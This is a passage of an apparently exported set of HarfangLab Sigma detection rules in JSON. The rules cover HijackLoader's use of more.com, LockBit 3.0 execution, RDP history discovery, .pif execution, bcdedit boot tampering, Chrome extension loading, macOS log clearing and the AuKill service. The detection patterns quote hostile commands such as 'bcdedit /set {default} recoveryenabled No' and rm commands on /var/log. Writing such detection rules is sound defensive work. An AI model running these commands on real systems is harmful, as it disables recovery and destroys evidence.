+  "content": "title: Suspicious Process Launched by more.com\nid: 3b24630e-1690-4a29-8fb1-c841f646d79b\ndescription: |\n    Detects processes started by the more.com Windows utility.\n    The more.com binary is not supposed to spawn any process, therefore this behavior is suspicious.\n    This behavior was spotted in a HijackLoader sample, in a September 2024 campaign and was used to execute the final payload via process hollowing.\n    It is recommended to investigate the spawned process to look for other suspicious actions.\nreferences:\n    - https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader\n    - https://www.crowdstrike.com/blog/hijackloader-expands-techniques/\n    - https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/\n    - https://attack.mitre.org/techniques/T1055/012/\ndate: 2024/09/19\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055.012\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProcessTampering\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\more.com'\n\n    exclusion_werfault:\n        Image|endswith: '\\WerFault.exe'\n        CommandLine|contains: '\\WerFault.exe -u -p '\n        OriginalFileName: 'WerFault.exe'\n        Signed: 'true'\n\n    exclusion_connhost:\n        Image|endswith: '\\conhost.exe'\n        CommandLine|contains: '\\conhost.exe 0xffffffff -Force'\n        OriginalFileName: 'CONHOST.EXE'\n        Signed: 'true'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3b24630e-1690-4a29-8fb1-c841f646d79b",
+  "rule_name": "Suspicious Process Launched by more.com",
+  "rule_description": "Detects processes started by the more.com Windows utility.\nThe more.com binary is not supposed to spawn any process, therefore this behavior is suspicious.\nThis behavior was spotted in a HijackLoader sample, in a September 2024 campaign and was used to execute the final payload via process hollowing.\nIt is recommended to investigate the spawned process to look for other suspicious actions.\n",
+  "rule_creation_date": "2024-09-19",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3b29a0f1-1ed0-42f2-a31e-f0496a442c96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609613Z",
+  "creation_date": "2026-03-23T11:45:34.609617Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609624Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://laurentiu-raducu.medium.com/lockbit-3-0-ransomware-analysis-198b1d4b75a3",
+    "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a",
+    "https://attack.mitre.org/techniques/T1486/"
+  ],
+  "name": "t1486_ransomware_lockbit_v3_executed.yml",
+  "content": "title: LockBit 3.0 Ransomware Executed\nid: 3b29a0f1-1ed0-42f2-a31e-f0496a442c96\ndescription: |\n    Detects a specific command-line related to the execution of the LockBit 3.0 ransomware.\n    LockBit 3.0, also named LockBit Black, was released in March 2022.\n    This new variant requires a password to unpack the original text section, a technique similar to the one employed by BlackCat.\n    It is recommended to quickly isolate the target machine and to activate your incident response plan.\nreferences:\n    - https://laurentiu-raducu.medium.com/lockbit-3-0-ransomware-analysis-198b1d4b75a3\n    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a\n    - https://attack.mitre.org/techniques/T1486/\ndate: 2024/05/22\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1480.001\n    - attack.impact\n    - attack.t1486\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Ransomware.LockBit\n    - classification.Windows.Behavior.Encryption\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains: ' -k LocalServiceNetworkRestricted -pass '\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3b29a0f1-1ed0-42f2-a31e-f0496a442c96",
+  "rule_name": "LockBit 3.0 Ransomware Executed",
+  "rule_description": "Detects a specific command-line related to the execution of the LockBit 3.0 ransomware.\nLockBit 3.0, also named LockBit Black, was released in March 2022.\nThis new variant requires a password to unpack the original text section, a technique similar to the one employed by BlackCat.\nIt is recommended to quickly isolate the target machine and to activate your incident response plan.\n",
+  "rule_creation_date": "2024-05-22",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1480.001",
+    "attack.t1486"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3b3dd805-29d5-4f12-8de6-0e15e060d9ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605991Z",
+  "creation_date": "2026-03-23T11:45:34.605995Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606003Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer",
+    "https://attack.mitre.org/techniques/T1021/001/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1021_001_rdp_history.yml",
+  "content": "title: RDP History Discovered via Registry\nid: 3b3dd805-29d5-4f12-8de6-0e15e060d9ab\ndescription: |\n    Detects the query of a registry key containing the history of RDP sessions.\n    This can be used by attackers to discover RDP-accessible computers from the currently infected host for future lateralization.\n    It is recommended to investigate the parent process for other suspicious actions.\nreferences:\n    - https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer\n    - https://attack.mitre.org/techniques/T1021/001/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2022/12/02\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1021.001\n    - attack.t1018\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Reg\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\reg.exe'\n        - OriginalFileName: 'reg.exe'\n    selection_cmd:\n        CommandLine|contains|all:\n            - ' query '\n            - '\\Software\\Microsoft\\Terminal Server Client\\Default'\n\n    condition: all of selection_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3b3dd805-29d5-4f12-8de6-0e15e060d9ab",
+  "rule_name": "RDP History Discovered via Registry",
+  "rule_description": "Detects the query of a registry key containing the history of RDP sessions.\nThis can be used by attackers to discover RDP-accessible computers from the currently infected host for future lateralization.\nIt is recommended to investigate the parent process for other suspicious actions.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1021.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3b65bce7-bd24-4c84-8667-bdb959aed034",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083035Z",
+  "creation_date": "2026-03-23T11:45:34.083037Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083041Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.delivr.to/analysis-of-an-agenttesla-pif-sample-ad3785ff1609",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_002_susp_pif_file_execution.yml",
+  "content": "title: Pif File Executed\nid: 3b65bce7-bd24-4c84-8667-bdb959aed034\ndescription: |\n    Detects the execution of a pif (Program Information File) file, a type of file associated with older MS-DOS and Windows operating systems.\n    These files were particularly useful during the era of Windows 3.x but are largely obsolete in modern versions of Windows and is often exploited by adversaries to mask their malicious binary.\n    It is recommended to verify the legitimacy of the binary.\nreferences:\n    - https://blog.delivr.to/analysis-of-an-agenttesla-pif-sample-ad3785ff1609\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2024/11/07\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ProcessName|endswith: '.pif'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3b65bce7-bd24-4c84-8667-bdb959aed034",
+  "rule_name": "Pif File Executed",
+  "rule_description": "Detects the execution of a pif (Program Information File) file, a type of file associated with older MS-DOS and Windows operating systems.\nThese files were particularly useful during the era of Windows 3.x but are largely obsolete in modern versions of Windows and is often exploited by adversaries to mask their malicious binary.\nIt is recommended to verify the legitimacy of the binary.\n",
+  "rule_creation_date": "2024-11-07",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3ba75314-ca70-44d1-9965-f04a78999361",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071298Z",
+  "creation_date": "2026-03-23T11:45:34.071302Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071307Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://micahbabinski.medium.com/catching-a-wev-tutil-threat-detection-for-the-rest-of-us-f692f01efcd4",
+    "https://attack.mitre.org/techniques/T1490/"
+  ],
+  "name": "t1490_boot_configuration_modified.yml",
+  "content": "title: Boot Configuration Modified\nid: 3ba75314-ca70-44d1-9965-f04a78999361\ndescription: |\n    Detects bcdedit.exe used to modify and/or delete critical boot configuration data.\n    Attackers can modify the boot configuration to disrupt system recovery in the event of corruption.\n    It is recommended to look for other malicious actions taken by the parent of bcdedit.exe and to investigate the execution context to determine the legitimacy of this action.\nreferences:\n    - https://micahbabinski.medium.com/catching-a-wev-tutil-threat-detection-for-the-rest-of-us-f692f01efcd4\n    - https://attack.mitre.org/techniques/T1490/\ndate: 2020/10/08\nmodified: 2025/04/22\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1490\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bcdedit:\n        - Image|endswith: '\\bcdedit.exe'\n        - OriginalFileName: 'bcdedit.exe'\n\n    selection_set:\n        CommandLine|contains: 'set '\n\n    selection_recovery:\n        # bcdedit /set {default} recoveryenabled No\n        CommandLine|contains|all:\n            - 'recoveryenabled'\n            - 'no'\n\n    selection_bootstatuspolicy_1:\n        # bcdedit /set {default} bootstatuspolicy IgnoreAllFailures\n        CommandLine|contains: 'bootstatuspolicy'\n\n    selection_bootstatuspolicy_2:\n        CommandLine|contains:\n            - 'IgnoreAllFailures'\n            - 'IgnoreShutdownFailures'\n            - 'IgnoreCheckpointFailures'\n            - 'IgnoreBootFailures'\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - CurrentDirectory|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_uwfmgr:\n        # https://learn.microsoft.com/en-us/windows-hardware/customize/enterprise/uwf-turnonuwf\n        # command is also launched using WMI...\n        ProcessGrandparentCommandLine:\n            # uwfmgr filter enable / ?:\\windows\\system32\\uwfmgr.exe filter enable\n            - '*uwfmgr* filter enable'\n            - '?:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding'\n        ProcessCommandLine: '?:\\Windows\\system32\\bcdedit.exe /set {bootloadersettings} BOOTSTATUSPOLICY IgnoreAllFailures'\n\n    exclusion_deep_freeze:\n        ProcessParentImage: '?:\\Windows\\Temp\\DeepFreeze_C.exe'\n\n    exclusion_rufus:\n        CommandLine: '?:\\windows\\system32\\bcdedit.exe /store ?:\\EFI\\Microsoft\\Boot\\BCD /set {default} recoveryenabled no'\n        ParentImage|contains: 'rufus'\n\n    condition: selection_bcdedit and selection_set and (selection_recovery or all of selection_bootstatuspolicy_*) and not 1 of exclusion_*\nlevel: high\n#level: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3ba75314-ca70-44d1-9965-f04a78999361",
+  "rule_name": "Boot Configuration Modified",
+  "rule_description": "Detects bcdedit.exe used to modify and/or delete critical boot configuration data.\nAttackers can modify the boot configuration to disrupt system recovery in the event of corruption.\nIt is recommended to look for other malicious actions taken by the parent of bcdedit.exe and to investigate the execution context to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2020-10-08",
+  "rule_modified_date": "2025-04-22",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1490"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3bac3ff7-b800-4f05-bd5f-a24cf8d1a898",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089901Z",
+  "creation_date": "2026-03-23T11:45:34.089903Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089908Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/lnk-between-browsers/",
+    "https://www.trendmicro.com/fr_fr/research/23/k/parasitesnatcher-how-malicious-chrome-extensions-target-brazil-.html",
+    "https://attack.mitre.org/techniques/T1176/"
+  ],
+  "name": "t1176_chrome_extensions_load.yml",
+  "content": "title: Suspicious Extensions Loaded by Chrome-based Browser (Windows)\nid: 3bac3ff7-b800-4f05-bd5f-a24cf8d1a898\ndescription: |\n    Detects a Chrome-based browser launched with a specific argument that permits to load extensions from a specific folder.\n    Adversaries may replace legitimate browser shortcuts with one that will load a malicious extension on process startup.\n    It is recommended to check the content of the folder specified in the load-extension parameter for malicious extensions.\nreferences:\n    - https://cloud.google.com/blog/topics/threat-intelligence/lnk-between-browsers/\n    - https://www.trendmicro.com/fr_fr/research/23/k/parasitesnatcher-how-malicious-chrome-extensions-target-brazil-.html\n    - https://attack.mitre.org/techniques/T1176/\ndate: 2024/10/09\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1176\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        CommandLine|re: '--load-extension=[^ ]'\n        ProcessParentName: 'explorer.exe'\n\n    filter_share:\n        CommandLine|contains: '--load-extension=\\\\\\\\'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3bac3ff7-b800-4f05-bd5f-a24cf8d1a898",
+  "rule_name": "Suspicious Extensions Loaded by Chrome-based Browser (Windows)",
+  "rule_description": "Detects a Chrome-based browser launched with a specific argument that permits to load extensions from a specific folder.\nAdversaries may replace legitimate browser shortcuts with one that will load a malicious extension on process startup.\nIt is recommended to check the content of the folder specified in the load-extension parameter for malicious extensions.\n",
+  "rule_creation_date": "2024-10-09",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1176"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3bac97ee-c6e6-4ca8-b70f-42535dcd471c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093282Z",
+  "creation_date": "2026-03-23T11:45:34.093284Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093288Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1070/002/"
+  ],
+  "name": "t1070_002_clear_logs_macos.yml",
+  "content": "title: Logs Cleared\nid: 3bac97ee-c6e6-4ca8-b70f-42535dcd471c\ndescription: |\n    Detects system or user logs being cleared.\n    Attackers may clear logs to hide evidence of an intrusion.\n    It is recommended to investigate whether this action was legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1070/002/\ndate: 2022/11/23\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Deletion\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_binary1:\n        Image:\n            - '/bin/rm'\n            - '/bin/unlink'\n            - '/bin/dd'\n            - '/usr/bin/truncate'\n\n    selection_binary2:\n        Image:\n            - '/bin/cat'\n            - '/bin/echo'\n        CommandLine|contains: \">\"\n\n    selection_log:\n        CommandLine|contains:\n            - '/var/log'\n            # Catch /Library/Logs/ and /Users/user/Library/Logs/\n            - '/Library/Logs/'\n\n    selection_susp_ancestors:\n        ProcessAncestors|contains:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n            # process\n            - '/osascript'\n\n    exclusion_eset:\n        CommandLine|startswith: 'rm -rf /Library/Logs/Eset/'\n        CurrentDirectory: '/private/var/folders/zz/*'\n\n    exclusion_zoom:\n        CommandLine: 'rm -f /Library/Logs/zoomusinstall.log'\n        CurrentDirectory: '/private/tmp/PKInstallSandbox.*'\n\n    exclusion_microsoft:\n        CommandLine:\n            - '/bin/rm -rf /var/log/com.microsoft.mdatp'\n            - '/bin/rm -f /var/log/microsoft_defender_err.log'\n            - '/bin/rm -f /var/log/microsoft_defender.log'\n            - '/bin/rm -f /var/log/microsoft_defender_telemetryd.log'\n            - '/bin/rm -f /var/log/microsoft_defender_telemetryd_err.log'\n            - '/bin/rm -f /var/log/fresno\\*.log'\n\n    exclusion_nx1:\n        CommandLine:\n            - '/bin/bash /applications/nomachine.app/contents/frameworks/scripts/setup/nxnode --install'\n            - '/bin/bash /applications/nomachine.app/contents/frameworks/scripts/setup/nxserver --install'\n            - '/bin/bash /applications/nomachine.app/contents/frameworks/scripts/setup/nxplayer --install'\n            - '/bin/bash /applications/nomachine.app/contents/frameworks/scripts/setup/nxrunner --install'\n\n    exclusion_nx2:\n        CommandLine|contains|all:\n            - '/bin/echo NX> 700'\n            - '/Library/Application Support/NoMachine/var/log'\n\n    exclusion_commandline:\n        CommandLine:\n            - 'rm /var/log/dsijamf//UR1_applications.log'\n            - 'rm -f /Applications/MAMP/Library/logs/fastcgi/nginxFastCGI.sock'\n            - 'rm -f /Applications/MAMP/Library/logs/nginxFastCGI.pid'\n            - 'rm -rf /Library/Logs/DiagnosticReports/Retired/macOS InstantView\\*.ips'\n            - 'rm -rf /Library/Logs/DiagnosticReports/macOS InstantView\\*.crash'\n            - 'rm -rf /Library/Logs/DiagnosticReports/macOS InstantView\\*.ips'\n            - 'rm -rf /Users/*/Library/Logs/DiagnosticReports/Retired/macOS InstantView\\*.ips'\n            - 'rm -rf /Users/*/Library/Logs/DiagnosticReports/macOS InstantView\\*.crash'\n            - 'rm -rf /Users/*/Library/Logs/DiagnosticReports/macOS InstantView\\*.ips'\n            - 'rm -rf /var/log/fctinstallpost.log'\n            - 'rm -f /Library/Logs/VMware/VMware Horizon Client/vmware-view-usb-service.log'\n            - 'rm -rf /Users/gaetan/Library/Logs/Eset/RemoteAdministrator/EraAgentInstaller.log'\n\n    exclusion_jamf:\n        - ProcessAncestors|contains: '/usr/local/jamf/bin/jamf'\n        - ProcessParentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    exclusion_installer:\n        ProcessParentCommandLine|startswith: '/bin/sh /tmp/PKInstallSandbox.??????/'\n\n    condition: 1 of selection_binary* and selection_log and selection_susp_ancestors and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3bac97ee-c6e6-4ca8-b70f-42535dcd471c",
+  "rule_name": "Logs Cleared",
+  "rule_description": "Detects system or user logs being cleared.\nAttackers may clear logs to hide evidence of an intrusion.\nIt is recommended to investigate whether this action was legitimate.\n",
+  "rule_creation_date": "2022-11-23",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3bb878f5-2c04-4eea-95f3-66a02b04a863",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595665Z",
+  "creation_date": "2026-03-23T11:45:34.595669Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595676Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/",
+    "https://attack.mitre.org/techniques/T1569/002"
+  ],
+  "name": "t1569_002_aukill_service_installed.yml",
+  "content": "title: AuKill Service Installed\nid: 3bb878f5-2c04-4eea-95f3-66a02b04a863\ndescription: |\n    Detects the installation of the AuKill service.\n    AuKill is a defense solution killer that uses a Process Explorer vulnerable driver to terminate security solutions' processes and services, and to unload their drivers.\n    It registers itself as a service to establish persistence.\n    It is recommended to investigate for other suspicious activities surrounding this event.\nreferences:\n    - https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/\n    - https://attack.mitre.org/techniques/T1569/002\ndate: 2023/04/24\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1569.002\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Malware.AuKill\n    - classification.Windows.Behavior.VulnerableDriver\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 7045\n        ServiceName:\n            - 'MSDriverSrv'\n            - 'aSophos'\n            - 'aSophosX'\n            - 'auSophos'\n            - 'aBase'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
